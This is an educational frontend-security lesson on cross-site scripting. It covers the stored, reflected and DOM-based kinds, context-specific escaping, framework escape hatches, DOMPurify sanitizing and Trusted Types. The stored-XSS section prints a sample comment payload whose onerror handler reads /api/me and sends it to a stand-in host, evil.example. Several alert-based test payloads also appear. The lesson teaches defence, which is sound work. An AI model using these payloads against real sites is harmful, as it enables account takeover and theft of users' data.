cf.completefrontend
My progress
FUNDAMENTALS · MODULE 11

Cross-site scripting (XSS)

Cross-site scripting is when text from outside your app ends up running as code inside your page, with every power your own code has: the most common and most damaging frontend security bug, and the one frontend engineers own most directly.

The problem: your page runs code it never meant to

Picture a support forum for a popular app. Users post questions, other users reply, and every reply shows the author's display name next to it. One day a user changes their display name to a short piece of HTML that contains a script tag. The forum stores the name as it is and prints it into every page where that user has posted.

From then on, everyone who opens one of those threads runs the attacker's script. Nobody clicked anything strange. They opened a normal page on a site they trust, and the browser did exactly what the HTML told it to do.

This is cross-site scripting, almost always shortened to XSS. The name is old and a little misleading: nothing has to cross sites. What matters is that data from outside your app (a name, a comment, a search term, a piece of the URL) reaches the page as code instead of as text.

Why the browser cannot tell the difference

The browser's security model is built on the origin: the scheme, host, and port of a page, such as https://forum.example. Every script that runs in a page from that origin gets the same rights. It can read the page, read storage for that origin, and send requests that carry the user's cookies.

There is no second label that says "this script came from the developers" and "this one came from a user's display name". Once the attacker's code runs inside your origin, it is your code as far as the browser is concerned. Every other browser protection, such as the same-origin policy, assumes that the code inside the origin is friendly. XSS breaks that assumption from the inside.

One origin, https://forum.example, drawn as a box holding three scripts: app.js, your own code; analytics.js, a vendor you chose; and an injected script that came from a display name, marked as bad. Outside the box, four things every script in the origin can reach: the DOM, to read and change; localStorage, to read any token; cookies, sent with fetch; and the /api routes, called as the user. The browser gives all three scripts the same reach.origin: https://forum.exampleapp.jsyour own codeanalytics.jsa vendor you choseinjected scriptcame from a display nameone origin, one set of rightsDOMread and changelocalStorageread any tokencookiessent with fetch/api/*calls as the user
The browser draws its security line around the origin, not around each script. Once injected code is inside the box, it reaches everything your own code reaches.

What an attacker can do once a script runs

Many people think of XSS as "someone can show an alert box". The alert is only a test that proves code runs. Real attacks are quiet and aim at the user's data and account.

  • Act as the user. A fetch("/api/settings/email", { method: "POST", ... }) from the page carries the session cookie automatically. The server sees a normal, logged-in request. The attacker can change the account email, then reset the password, and own the account. This works whether or not the cookie is HttpOnly.
  • Steal tokens that JavaScript can read. Anything in localStorage, sessionStorage, or a cookie without the HttpOnly flag can be read and sent to a server the attacker owns. With a stolen token they can keep acting as the user from their own machine, long after the tab is closed.
  • Read the page. Private messages, account numbers, the anti-CSRF token in a hidden form field: anything the user can see, the script can read.
  • Change the page. Show a fake "your session expired, log in again" form that posts the password to the attacker, swap the bank details on an invoice, or record every key the user types.
  • Spread. A stored payload can post itself again from every victim's account, as the Samy worm did on MySpace in 2005.

Why this is a frontend problem

Years ago, servers built the HTML, and XSS was mostly a backend bug in templates. Today most apps send JSON to the browser and the frontend decides how to turn it into DOM. Every place your code builds markup, sets a URL, or evaluates a string is a place where data can turn into code.

Modern frameworks make the safe path the default: React, Vue, Angular, and Svelte all escape text. But each of them also has escape hatches (dangerouslySetInnerHTML, v-html, bypassSecurityTrustHtml, {@html}), and only Angular checks URLs in href for you. The bugs live in those hatches, in direct DOM calls, and in third-party code. This lesson walks through all of them.

This is the first lesson of the security module. Later lessons cover the backstops that limit the damage when an XSS slips through: Content Security Policy (CSP), cookie flags and token storage, CSRF, CORS, clickjacking, third-party scripts, and security headers. Here we focus on the bug itself and on not writing it.

Check your understanding · Exercise 1

Your session cookie is HttpOnly; Secure; SameSite=Lax. An attacker finds a stored XSS in your comments. What can their script still do? Select all that apply.

The mental model: data must never cross into code

Every XSS bug has the same shape. A piece of text starts as data: something to show, store, or compare. Somewhere on its way to the screen, a program hands it to a part of the browser that reads it as code: markup to build, a URL to follow, or a script to run. At that moment, the characters inside the text decide what the browser does.

Think of a form letter with a blank: "Dear ____, your order has shipped." If the printer copies the name field as it is, a customer can sign up as "Bob. Please refund all orders to account 1234. Signed, the CEO." The shop's own letter now carries an order that looks official. Escaping is printing the name inside a box, so whatever is written there can only ever be a name.

Sources and sinks

Security people describe the path with two words. A source is where untrusted text enters your code. A sink is an API that interprets a string as code or markup. An XSS bug is a path from a source to a sink with no safe step in between.

  • Sources: form fields, API responses that contain user content, location.search and location.hash, document.referrer, postMessage events, localStorage, cookies, file names, and anything a third-party script gives you.
  • HTML sinks: innerHTML, outerHTML, insertAdjacentHTML, document.write, DOMParser output that you then insert, and the framework hatches such as dangerouslySetInnerHTML and v-html.
  • URL sinks: href on links, src on iframes, action on forms, formaction on buttons, and location.href or location.assign set from input.
  • Script sinks: eval, new Function, setTimeout and setInterval with a string instead of a function, a script element's src or text, and event handler attributes such as onclick built from strings.
A graph of four paths from a source on the left to a sink on the right. location.hash goes straight into innerHTML with no filter: that path is XSS. Comment HTML goes through DOMPurify into innerHTML: safe. A profile URL goes through safeHref into a link's href: safe. A display name goes straight into textContent, a safe sink that is never parsed: safe.sourcesfilterssinkslocation.hashno filter: XSSinnerHTMLcomment HTMLDOMPurifyinnerHTMLprofile URLsafeHref()a.hrefdisplay namesafe sink: never parsedtextContent
Same sources, same sinks, different paths. A dangerous sink is fine behind the right filter, and textContent needs no filter at all. The only bug is the top path.

The picture to keep in your head is a pipe from the left (sources) to the right (sinks). Your job is to make sure every pipe passes through the right filter for the sink at the end: escaping, URL checking, or sanitizing. Better still, route the pipe to a safe sink that can only ever produce text, such as textContent.

Three ways to keep data as data

There are only three honest ways to make a source-to-sink path safe. Almost every rule in this lesson is one of them.

  1. Use a safe sink. Put text in with textContent, createTextNode, or a framework's normal text binding such as {value} in JSX. The browser never parses it as markup, so no character in it can matter. This is the best option whenever you only need text.
  2. Encode for the context. If the value has to go into a string that a parser will read (HTML, an attribute, a URL, a JSON block), convert the characters that are special for that parser into a harmless form. The right encoding depends on where the value lands, which is the subject of the escaping chapter.
  3. Sanitize. If the value is meant to be HTML, such as a rich text comment, parse it and keep only an allowlist of safe tags and attributes. This is the hardest of the three to get right, so use a maintained library.

Then there are backstops that do not fix the bug but limit what an attacker gets: Content Security Policy blocks scripts that are not yours, Trusted Types blocks raw strings from reaching sinks, and HttpOnly cookies keep the session token out of reach. Good teams use all of them. They are the subject of the last chapters and of later lessons in this module.

Check your understanding · Exercise 2

Which of these lines feed a source straight into a sink? Select all that apply.

Stored, reflected, and DOM-based XSS, step by step

XSS is split into three kinds by two questions: where does the bad text live, and which program puts it into the page? The defense is the same for all three (keep data as data), but the kinds differ in who is exposed, how the attacker delivers the payload, and which team usually owns the bug.

Stored XSS: the payload waits on your server

In stored XSS (also called persistent XSS), the attacker saves the payload through a normal feature: a comment, a product review, a profile name, a file name, a support ticket. Your server stores it in the database. Later, every user who views that data gets the payload in their page.

  1. The attacker posts a comment whose body contains an image tag with a broken src and an onerror attribute that holds code.
  2. The API saves the body as it is. That is fine on its own: storing text is not the bug.
  3. A reader opens the thread. The client fetches the comments as JSON and renders each body with innerHTML so that line breaks show up.
  4. The browser parses the body as HTML, creates the image, fails to load it, and runs the onerror handler. The code now runs in the reader's session.
json
{
  "id": 8812,
  "author": "mallory",
  "body": "Great post! <img src=x onerror=\"fetch('/api/me').then(r=>r.text()).then(t=>navigator.sendBeacon('https://evil.example/c',t))\">"
}
A stored payload as it sits in an API response. As JSON it is only text. It turns into code only when a client puts body into an HTML sink.

Stored XSS is the most dangerous kind because the victim does nothing unusual: they open a page they trust. It can also reach staff. A payload in a support ticket runs when an agent opens it in the admin tool, which often has far more power than a normal user account.

A sequence diagram between the attacker, the forum API, and a reader's browser. The attacker sends POST /comments with a payload, and the API saves it as text. Later the reader sends GET /threads/42 and gets JSON with the comments back. The reader's client sets innerHTML to the body, and the onerror handler runs. The script then sends POST /api/email with the reader's cookie attached, and sends page data to the attacker.Attackerforum APIReaderPOST /commentssaved as textGET /threads/42JSON: commentsinnerHTML = bodyonerror runsPOST /api/emailcookie attachedpage data
The attacker never talks to the reader. The site delivers the payload, the reader's own client turns it into code, and from then on the script's requests look like the reader's.

Reflected XSS: the payload rides in a link

In reflected XSS, nothing is stored. The payload sits in the request itself, usually in a query parameter, and the server copies it straight into the HTML it sends back. A search page that prints "No results for" followed by the raw q parameter is the classic example.

The attacker has to get the victim to send that request: a link in an email, a chat message, an ad, or a hidden iframe on another site. The URL points at your real domain, so it looks safe, and the payload is often URL-encoded so that it looks like noise.

http
GET /search?q=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1
Host: shop.example

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

<h1>No results for <script>alert(document.domain)</script></h1>
The server decodes the query and pastes it into the page without escaping. The browser cannot know that the script tag came from the URL.

Reflected XSS was the most common kind in server-rendered sites. It is still alive in error pages, login redirects ("you will be sent back to ..."), and server-rendered frameworks where someone builds HTML with string concatenation instead of the template engine.

DOM-based XSS: the server never sees it

In DOM-based XSS, the whole path from source to sink lives in your client-side JavaScript. The server sends the same safe page to everyone. Then your code reads something the attacker controls, such as location.hash, and writes it into a sink.

ts
// https://app.example/help#Getting%20started
const topic = decodeURIComponent(location.hash.slice(1));
heading.innerHTML = "Help: " + topic; // the bug

// The same page, with a crafted link:
// https://app.example/help#%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
The part after # is never sent to the server, so server logs, server-side filters, and many scanners never see this payload.

This kind is the one frontend engineers own completely, and single-page apps make it far more common than it used to be. The server returns JSON, and your code decides how to build the DOM. Every innerHTML, every href set from data, and every postMessage handler in your bundle is a candidate.

QuestionStoredReflectedDOM-based
Where the payload livesYour database or filesThe current request URL or formThe browser: URL fragment, postMessage, storage
Who builds the bad markupServer template or client codeServer templateClient JavaScript only
How the victim is reachedThey open a normal pageThey click a crafted linkThey click a crafted link or open a page that sends a message
Seen by the serverYes, when savedYes, in the requestOften never (fragment) or only as data
Who usually fixes itWhoever renders itBackend or SSR codeFrontend team
Kind
Step 1 of 5
Stored XSS, step 1 of 5: Attacker posts a comment with a handler. Where: browser to API: a normal POST.12345Attacker posts a comment with a handlerbrowser to API: a normal POSTdata is still only text
Five steps for each kind. The marked steps are where data turns into code; notice which program writes the markup in each kind, and whether the server ever sees the payload.

Check your understanding · Exercise 3

A chat app shows a preview of shared links. The preview title comes from the linked page's title tag, fetched by the server and saved with the message. The client inserts it with innerHTML. Which statements are true? Select all that apply.

Escaping depends on where the text lands

Escaping, also called output encoding, replaces characters that are special to a parser with a form the parser reads as plain characters. In HTML text, < becomes &lt;, so the browser shows a less-than sign instead of starting a tag.

The catch is that a page is not one language. It is HTML with attributes inside it, URLs inside those, JavaScript inside script blocks and handlers, and CSS inside style blocks. Each has its own special characters and its own way to break out. A value escaped for one context can be completely unsafe in another.

A template with values in six contexts, each line with its rule. HTML text: escape ampersand and angle brackets. Attribute value: escape and quote. URL in href: check the scheme. Event handler attribute: never put data there. Script block: escape the less-than sign as backslash u003c. Style block: map input to a fixed list of values.<p>Hi {name}</p>HTML text: escape & < ><input value="{name}">attribute: escape, quote<a href="{site}">URL: check the scheme<button onclick="go('{id}')">handler: never put data<script>s = {json}</script>script: < as \u003c<style>h1{color:{c}}</style>CSS: map to a fixed list
One page, six parsers. The two marked lines are where HTML escaping is not enough: a javascript: URL has nothing to escape, and handler attributes are decoded before the JavaScript runs.

HTML text between tags

Between tags, the parser looks for < to start a tag and & to start a character reference. Escape & to &amp;, < to &lt;, and > to &gt;. Most libraries also escape " and ' so that the same function is safe in quoted attributes. With those five replaced, no text can open a tag here.

ts
const HTML_ESCAPES: Record<string, string> = {
  "&": "&amp;",
  "<": "&lt;",
  ">": "&gt;",
  '"': "&quot;",
  "'": "&#39;",
};

export function escapeHtml(text: string): string {
  return text.replace(/[&<>"']/g, (ch) => HTML_ESCAPES[ch]);
}

// escapeHtml('Tom & "Jerry" <3') === 'Tom &amp; &quot;Jerry&quot; &lt;3'
The whole of HTML escaping. & must be handled, or text that already looks like &lt; is shown wrongly. You rarely write this yourself: templates and frameworks do it.

Inside an attribute value

Always put attribute values in quotes, then escape the quote character as well as the five above. An unquoted value ends at the first space, so value={name} with a name of x onfocus=... adds a brand-new attribute without using any of the five escaped characters.

Two attribute families need more than escaping. Event handler attributes such as onclick hold JavaScript, and the browser decodes HTML entities before it runs them: &quot; turns back into " before the JavaScript parser sees it. URL attributes such as href and src hold URLs, covered next. Never put outside data in the first family, and check the second.

Inside a URL

There are two different jobs here. When a value is one part of a URL, such as a search term in ?q=, encode it with encodeURIComponent so that &, #, and / cannot change the URL's structure. When the value is the whole URL, such as a user's website on their profile, encoding is not enough.

A link to javascript:alert(1) contains nothing that HTML escaping changes. It passes through every escape function untouched and runs when clicked.

The browser also forgives a lot in the scheme: it ignores case, strips leading spaces and control characters, and removes tab or newline characters anywhere in the word. So never test the raw string with a regular expression. Parse it with new URL and allow a short list of schemes.

ts
const SAFE_SCHEMES = new Set(["https:", "http:", "mailto:"]);

export function safeHref(input: string): string {
  try {
    const url = new URL(input, location.origin);
    return SAFE_SCHEMES.has(url.protocol) ? url.href : "about:blank";
  } catch {
    return "about:blank"; // not a URL at all
  }
}
new URL applies the same clean-up rules the browser uses, so url.protocol is what the browser would really follow. Allow schemes; never try to list the bad ones.

Inside a script block

Server-rendered apps often inline data for the client, such as the initial state of a store. The tempting way is to paste JSON.stringify(state) into a script tag. The trap is that the HTML parser, not the JavaScript parser, decides where a script block ends. It stops at the first </script it sees, even inside a JavaScript string.

JSON.stringify does not escape <. So a product name containing a closing script tag ends the block early, and whatever follows is parsed as fresh HTML.

The fix is to escape < as \u003c (and usually >, &, U+2028, and U+2029 too) after stringifying. Putting the JSON in a script type="application/json" block and reading it with JSON.parse(el.textContent) keeps it from running as code, but the block still ends at </script, so it needs the same escaping. Frameworks that inline state, such as Next.js, do this escaping for you; hand-written templates often do not.

Inside CSS

Modern browsers no longer run JavaScript from CSS (old Internet Explorer had expression()), but CSS injection is still harmful. Injected rules can cover the page with a fake form, and attribute selectors with background-image: url(...) can leak an input's value attribute, such as a CSRF token, one character at a time to the attacker's server. Do not put free text into styles. Map input to a fixed list instead: a theme name to a color, a size name to a number.

ContextExampleBreaks out withWhat to do
HTML text<p>{name}</p>< to start a tagEscape & < > " '. Frameworks do it for you.
Quoted attribute<input value="{v}">" to close the valueEscape the same five, always quote.
Event handleronclick="go('{v}')"Entities are decoded before the JS runsNever put data here. Attach listeners in code.
URL attribute<a href="{url}">A javascript: scheme, no special charsParse with new URL, allow https:, http:, mailto:.
Script block<script>s = {json}</script></script> inside a stringEscape < as \u003c after JSON.stringify.
CSSstyle="color: {c}"; and } to add rulesAvoid. Map input to a fixed list of values.

Check your understanding · Exercise 4

A server template builds <a href="{{ website }}" title="{{ name }}">, and the template engine HTML-escapes every value. Which inputs are still dangerous? Select all that apply.

innerHTML, dangerouslySetInnerHTML, and what frameworks protect

Most XSS in modern apps comes from a short list of APIs. Knowing exactly what each one does with a string is what lets you review code quickly and confidently.

What innerHTML really does

Setting el.innerHTML = str runs the full HTML parser on str, builds the elements, and puts them inside el. One detail surprises people: script elements inserted through innerHTML do not run. The HTML standard marks them as already started. That is why simple tests with a script tag "prove" a page is safe when it is not.

Attackers do not need script tags. An image with a broken src and an onerror attribute runs its handler as soon as the load fails. An SVG with onload, a details element with open and ontoggle, an iframe with a srcdoc, and a link with a javascript: href all work through innerHTML. Any sink that parses HTML is a script sink.

SinkRuns inline scripts?Runs event handlers?Safe twin
el.innerHTML = sNoYesel.textContent = s
el.insertAdjacentHTML(pos, s)NoYesel.insertAdjacentText(pos, s)
document.write(s)YesYesBuild nodes with createElement
range.createContextualFragment(s)Yes, once insertedYescreateElement plus append
jQuery $(el).html(s)Yes, jQuery evaluates themYes$(el).text(s)
eval(s), new Function(s), setTimeout(s)It is a scriptn/aPass a function, parse data with JSON.parse

Why React text is safe

In JSX, {comment.body} is always text. On the client, React puts it in a text node, which the browser never parses as markup. During server rendering, React escapes the same characters an HTML escaper would.

Attribute values are set with the DOM's attribute APIs, so a value cannot close its quote and add a new attribute. Vue templates, Angular templates, Svelte, and Solid behave the same way for text.

React also protects against a subtler trick. A React element is a plain object, so an attacker might try to send one in JSON. React only accepts objects whose $$typeof field is a special Symbol, and JSON cannot contain symbols. So data from an API cannot pretend to be a component tree.

Where React does not protect you

  • dangerouslySetInnerHTML. It is innerHTML with a long name. React hands the __html string to the browser's parser without looking at it. The name is a warning, not a filter.
  • URLs in href, src, action, formAction. Escaping does nothing to a javascript: URL. React 16.9 started warning about such URLs, and React 19 replaces a javascript: URL in these props with one that only throws an error. Do not rely on that: older React versions, other frameworks, and non-React code are not covered, and a URL that leads to the wrong place is a bug anyway. Validate with a scheme allowlist.
  • Refs and effects that touch the DOM. ref.current.innerHTML = html inside a useEffect bypasses React completely.
  • Spreading untrusted objects as props. {...userSettings} on an element lets JSON data set any prop, including dangerouslySetInnerHTML or href. Pick the fields you need by name.
  • Third-party components that take an HTML string, such as some Markdown, chart tooltip, and rich text components. Read their docs for whether they sanitize.
tsx
function Comment({ c }: { c: ApiComment }) {
  return (
    <article>
      {/* safe: text binding */}
      <h4>{c.authorName}</h4>
      {/* safe only because safeHref allows https, http, mailto */}
      <a href={safeHref(c.authorWebsite)} rel="ugc nofollow noopener">website</a>
      {/* the risky line: needs a sanitizer and a reason */}
      <div dangerouslySetInnerHTML={{ __html: sanitizeComment(c.bodyHtml) }} />
    </article>
  );
}
Three kinds of binding in one component. Each needs a different treatment: nothing for text, a scheme check for URLs, and a sanitizer for HTML.
Try
Sink
Defense
Input sent to innerHTML with No defense. The browser would parse: <p><img src=x onerror=alert(1)></p>. Result: runs code: onerror handler.the browser would parse<p><img src=x onerror=alert(1)></p>runs code: onerror handlerright defense: HTML-escape (or DOMPurify if it must be HTML)
The middle line is the exact markup the browser would parse, shown here as text. Try the JS link with HTML-escape: escaping is not the right defense for every sink.

The same hatches in other frameworks

Each major framework has one obvious HTML hatch. Vue has v-html, Svelte has {@html ...}, Solid has the innerHTML prop, and Lit has the unsafeHTML directive. None of these sanitize.

Angular is the exception: values bound to [innerHTML] pass through Angular's built-in sanitizer, and only bypassSecurityTrustHtml and its siblings skip it. Search your codebase for every hatch by name; each match needs a sanitizer and a short comment explaining why HTML is needed.

A matrix of four frameworks. React: the hatch is dangerouslySetInnerHTML, not sanitized; a javascript: href is blocked in React 19. Vue: v-html, not sanitized; javascript: href not blocked. Svelte: the html tag, not sanitized; not blocked. Angular: binding to innerHTML, sanitized; hrefs sanitized. All four escape normal text bindings.frameworkHTML hatchsanitized?javascript: hrefReactdangerouslySetInnerHTMLnoblocked in 19Vuev-htmlnonot blockedSvelte{@html ...}nonot blockedAngular[innerHTML]yessanitized
All four escape normal text. They differ in the hatches: only Angular sanitizes what goes through its HTML binding, so in the others the sanitizer is your job, and so is the URL check.

Check your understanding · Exercise 5

Your app runs React 18. Which of these snippets can run attacker code if data comes from user input? Select all that apply.

When users need formatting: sanitize with DOMPurify

Sometimes text is not enough. A help center article, a rich text comment, a product description from a seller, or an email body really is HTML, and escaping would show the tags as text. Here you need the third defense: sanitizing. A sanitizer parses the HTML, walks the tree, keeps only tags and attributes on an allowlist, drops everything else, and gives you back markup that can only format text.

First, do you need HTML at all?

Decision Users need bold, links, and lists in their comments. How do you store and render them?

Plain text with simple formatting rules

Store raw text.

Render with text bindings; turn URLs into links and line breaks into paragraphs in code, building elements yourself.

Pros

  • No HTML sink at all, so no sanitizer to configure or update.
  • Works the same in web, mobile, email, and search.

Cons

  • No bold, headings, or lists.
  • Link detection still needs the URL scheme check.

Markdown rendered to HTML, then sanitized

Store Markdown source.

Render with a Markdown library with raw HTML turned off, then run the output through DOMPurify before inserting.

Pros

  • Easy for users, small and diffable storage.
  • The library's output is a small, known set of tags.

Cons

  • Markdown links can still carry javascript: URLs, and many libraries pass raw HTML through by default.
  • Two libraries to keep updated.

HTML from a rich text editor, sanitized on output

Store the editor's HTML (or its JSON document model).

Sanitize with a strict allowlist right before rendering.

Pros

  • What-you-see editing, pasting from documents works.
  • The allowlist is the single place that decides what is allowed.

Cons

  • The widest attack surface: pasted HTML can contain anything.
  • The allowlist needs care: styles, classes, and ids all have side effects.

Render untrusted HTML in a sandboxed iframe

Serve the content from a separate origin, or use iframe sandbox without allow-same-origin.

Size the frame with postMessage.

Pros

  • Even a sanitizer bypass runs in a different origin, with no access to your cookies or DOM.
  • Fits full HTML documents such as emails or user-built pages.

Cons

  • Awkward layout, sizing, and accessibility across the frame.
  • More infrastructure (a second domain).

What we pick: Default to plain text. For comments and descriptions, Markdown with raw HTML off plus DOMPurify is the best balance. Use editor HTML plus a strict allowlist when users need real formatting. For whole documents you do not control, such as emails or user-authored pages, use a sandboxed frame on another origin (this is why many mail and code-sharing products serve user content from a separate domain).

How DOMPurify works

DOMPurify is the standard HTML sanitizer for browsers, maintained by Cure53, a security firm. It does not use regular expressions on the markup. It hands the string to the browser's own HTML parser (through DOMParser or a template element), so it sees exactly the tree the page would build. Then it walks every node, removes what is not allowed, and serializes the result.

Two DOM trees, before and after DOMPurify. Before: a div holding a p with a b inside, an img with an onerror handler, and an a whose href is a javascript: URL. After: the same div with the p and b kept, the img removed, and the a kept without its href.parsed inputafter DOMPurifydivpimgabsanitizedivpabimg: onerror handlera: href is javascript:img droppeda kept, href removed
The sanitizer works on the parsed tree, not on the string. Formatting survives, the image with a handler is dropped, and the link keeps its text but loses its javascript: target.

Out of the box it removes script, iframe, object, and similar elements, every on* event handler attribute, and URLs whose scheme is not on its safe list (javascript: is never allowed). The default allowlist is generous, though: it keeps most formatting tags, style attributes, class, id, SVG, and MathML. For user content, narrow it.

ts
import DOMPurify from "dompurify";

const COMMENT_CONFIG = {
  ALLOWED_TAGS: ["p", "br", "b", "strong", "i", "em", "a", "ul", "ol", "li", "code", "pre", "blockquote"],
  ALLOWED_ATTR: ["href"],
  ALLOWED_URI_REGEXP: /^(?:https?:|mailto:)/i,
};

DOMPurify.addHook("afterSanitizeAttributes", (node) => {
  if (node.tagName === "A") {
    node.setAttribute("rel", "ugc nofollow noopener noreferrer");
    node.setAttribute("target", "_blank");
  }
});

export function sanitizeComment(html: string): string {
  return DOMPurify.sanitize(html, COMMENT_CONFIG);
}
A strict comment config: a short list of tags, one attribute, and only web and mail links. The hook adds safe link attributes to every surviving link.

The settings that matter

  • ALLOWED_TAGS and ALLOWED_ATTR replace the defaults with your list. This is the safest way to configure it. A common mistake is using ADD_TAGS to allow iframe "just for YouTube embeds", which allows every iframe.
  • ALLOWED_URI_REGEXP decides which URLs survive in href and src. Tighten it to the schemes you need.
  • style and class. Inline styles cannot run script in modern browsers, but they can overlay the whole page with a fake dialog. Classes can pull in your own app's styles, such as a full-screen modal class. Leave both out of user content unless you need them.
  • id and name. These can cause DOM clobbering: an element with id="config" becomes reachable as window.config and can confuse code that reads globals. DOMPurify blocks the worst names by default (SANITIZE_DOM), and SANITIZE_NAMED_PROPS prefixes every id and name with user-content-. Simplest is not to allow them.
  • RETURN_TRUSTED_TYPE: true returns a TrustedHTML object instead of a string, which plugs straight into Trusted Types (next chapter).

Mutation XSS and other ways sanitizers fail

HTML parsing has strange corners. Some markup changes shape when it is parsed, serialized back to a string, and parsed again, for example around noscript, svg, math, and style elements, which switch the parser into different modes. An attacker crafts input that looks harmless to the sanitizer's parse but turns into an event handler after the page's parse. This is called mutation XSS, or mXSS.

  • Keep DOMPurify updated. Several mXSS bypasses have been found and fixed over the years. Treat sanitizer updates like security patches.
  • Sanitize last, insert at once. Do not sanitize and then pass the string through another library, template, or string replace before inserting it. Any change after sanitizing can undo it.
  • Sanitize where the HTML is rendered. Sanitizing on the server with a different parser (or with jsdom) is a fine extra layer, but the browser's parser is the one that counts, and stored data may predate your sanitizer. Sanitize on output in the client too.
  • Never write your own sanitizer with regular expressions or a blocklist of tag names. Every such filter has been bypassed.

Browsers are adding a built-in Sanitizer API: el.setHTML(input) parses, sanitizes with a safe default, and inserts in one step, so there is no string in between to mutate. It is new and support differs between browsers, so check current support and keep DOMPurify as the fallback for now.

Check your understanding · Exercise 6

You render seller product descriptions (HTML from a rich text editor) with DOMPurify's default settings. Which changes reduce risk? Select all that apply.

Trusted Types: let the browser refuse raw strings

Everything so far depends on every developer remembering every rule at every sink. In a codebase with 400 contributors and 2,000 dependencies, someone will forget. Trusted Types turns the rule into something the browser enforces: once enabled, DOM sinks refuse plain strings and accept only special typed objects that your own reviewed code created.

How it works

You turn it on with a Content Security Policy directive, sent as a response header on your HTML. From then on, assigning a string to innerHTML (or any other HTML, script, or script URL sink) throws a TypeError instead of parsing it, and the browser can send a violation report.

http
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types app-html dompurify
require-trusted-types-for 'script' turns enforcement on. trusted-types lists the policy names allowed to be created, so a stray library cannot make its own way around the rule.

To put HTML into a sink, code must pass a TrustedHTML object. The only way to make one is through a policy: a named object created once with trustedTypes.createPolicy, whose functions turn strings into typed values. Your policy is where the sanitizer lives.

ts
import DOMPurify from "dompurify";

const htmlPolicy = window.trustedTypes?.createPolicy("app-html", {
  createHTML: (input: string) => DOMPurify.sanitize(input, COMMENT_CONFIG),
});

export function setSafeHtml(el: Element, html: string) {
  if (htmlPolicy) {
    el.innerHTML = htmlPolicy.createHTML(html) as unknown as string;
  } else {
    el.innerHTML = DOMPurify.sanitize(html, COMMENT_CONFIG); // browsers without Trusted Types
  }
}

// Anywhere else in the app, with enforcement on:
// el.innerHTML = userText;  // throws TypeError: requires 'TrustedHTML' assignment
One module owns HTML insertion. Code review only needs to look at the policy; every other innerHTML with a string fails loudly in development and in production.
A flowchart of the browser's decision when a value reaches a sink such as innerHTML, a script src, or eval. Is it a typed value? If yes, insert it, since it is already sanitized. If no: is the header enforced? If no, insert it as is, and send a report in report-only mode. If yes: is there a default policy? If yes, run the policy, which sanitizes, then insert. If no, throw a TypeError, and nothing is parsed.value at sinkinnerHTML, src, evaltyped value?yesinsert italready sanitizednoenforced?noinsert as isreport if report-onlyyesdefault policy?yesrun policysanitize, then insertnoTypeErrornothing is parsed
A typed value goes straight through. A plain string is either let through (with no header or in report-only mode), passed to the default policy, or rejected with a TypeError.

Three types for three kinds of sink

  • TrustedHTML for HTML sinks: innerHTML, outerHTML, insertAdjacentHTML, document.write, DOMParser.parseFromString, an iframe's srcdoc.
  • TrustedScript for sinks that run code from a string: eval, new Function, string timers, a script element's text.
  • TrustedScriptURL for URLs that load script: a script element's src, new Worker(url), importScripts. A policy here usually checks the URL against an allowlist of your own origins.

Links are a special case. Setting a link's href is not a Trusted Types sink, so any string is accepted.

With enforcement on, the browser instead checks when a javascript: URL is about to run: it passes the code to the default policy if there is one, and blocks it otherwise. Treat that as a backstop and still check schemes in code, because a strict CSP without 'unsafe-inline' is the other half of the defense. The CSP lesson covers that side.

Header
Value
Sink
Policies
el.innerHTML = userText. With Enforced, the browser check says: wants TrustedHTML. Result: TypeError thrown, nothing parsed.el.innerHTML = userTextcheck: wants TrustedHTMLTypeError thrown, nothing parsed
Note the script.src case: a TrustedHTML value is the wrong type there, because script URLs need TrustedScriptURL. Each type only opens its own kind of sink.

Rolling it out without breaking the app

  1. Report only. Send the directive in a Content-Security-Policy-Report-Only header with a report-to endpoint. Nothing breaks; every string reaching a sink is reported with a sample and a stack location.
  2. Fix the reports. Replace each one with a safe sink (textContent), a typed value from your policy, or a library upgrade. Many popular libraries already support Trusted Types: DOMPurify can return TrustedHTML directly, and Angular and Lit work with it.
  3. Use a default policy as a bridge. A policy named default is called for any plain string that reaches a sink, so you can sanitize or log it instead of throwing. It is a migration tool: keep it strict and remove it when the reports stop.
  4. Enforce. Switch to the enforcing header. New code that writes a string to a sink now fails in development, before review.

Browser support

Chromium browsers (Chrome, Edge, Opera, Samsung Internet) have supported Trusted Types since version 83 in 2020. Safari added support in Safari 26 (2025), and Firefox enabled it by default in early 2026 (version 148). Browsers that do not support it ignore the directive, so the app still works; those users just lose the backstop. There is a polyfill, but most teams rely on native support and keep sanitizing in code either way.

Check your understanding · Exercise 7

Your app sends require-trusted-types-for 'script' and has one policy that sanitizes with DOMPurify. What happens? Select all that apply.

Where XSS hides, and the layers that catch it

Teams that fix the obvious innerHTML calls still ship XSS, because the bug moves to places nobody thinks of as rendering. These are the ones that show up again and again in bug bounty reports.

  • Uploaded files served from your origin. An SVG can contain script, and opening the file URL directly runs it on your domain. Serve uploads from a separate domain, with Content-Disposition: attachment for unknown types and X-Content-Type-Options: nosniff.
  • postMessage handlers that skip the event.origin check and write event.data into the DOM. Any page that can open or frame yours can send the message.
  • Redirect parameters such as ?next= passed to location.href. A javascript: value is DOM XSS; an outside URL is an open redirect (see the input validation lesson).
  • Client-side template injection. Old AngularJS apps evaluated {{ }} expressions found anywhere in server-rendered HTML, so plain text containing braces became code. The rule generalizes: never let user text reach a template compiler.
  • Error and empty states that echo input: "No results for ...", "User ... not found", toast messages built with HTML strings.
  • Third-party code with its own sinks: chat widgets, analytics tag managers, and old jQuery plugins. Their bugs run in your origin too (see the third-party scripts lesson).

Layers: each one catches what the last missed

No single control is enough, so strong apps stack them. The first layers stop the bug; the later ones shrink what an attacker gets if a bug slips through. Real incidents show why: in 2005 the Samy worm reached over a million MySpace profiles in about a day, and in 2014 a TweetDeck XSS spread as a tweet that retweeted itself tens of thousands of times within hours. A strict CSP would most likely have kept both injected scripts from running.

Five walls in a row: escape, sanitize, Trusted Types, CSP, and HttpOnly. Five kinds of bug travel toward them. A name in JSX is stopped by escaping. Comment HTML is stopped by the sanitizer. A forgotten sanitize call is stopped by Trusted Types. A sanitizer bypass is stopped by CSP, because the injected handler has no nonce. A bug in your own trusted script reaches the last wall, where HttpOnly keeps the session cookie from being copied.escapesanitizeTrusted TypesCSPHttpOnlyname in JSXcomment HTMLforgot to sanitizesanitizer bypassbug in your own JS
Each arrow is a different kind of mistake, and each layer catches what slipped past the ones before. The last layer cannot stop the script, but it keeps the session token out of the attacker's hands.
  1. Safe rendering by default: a framework that escapes text, plus lint rules against raw sinks.
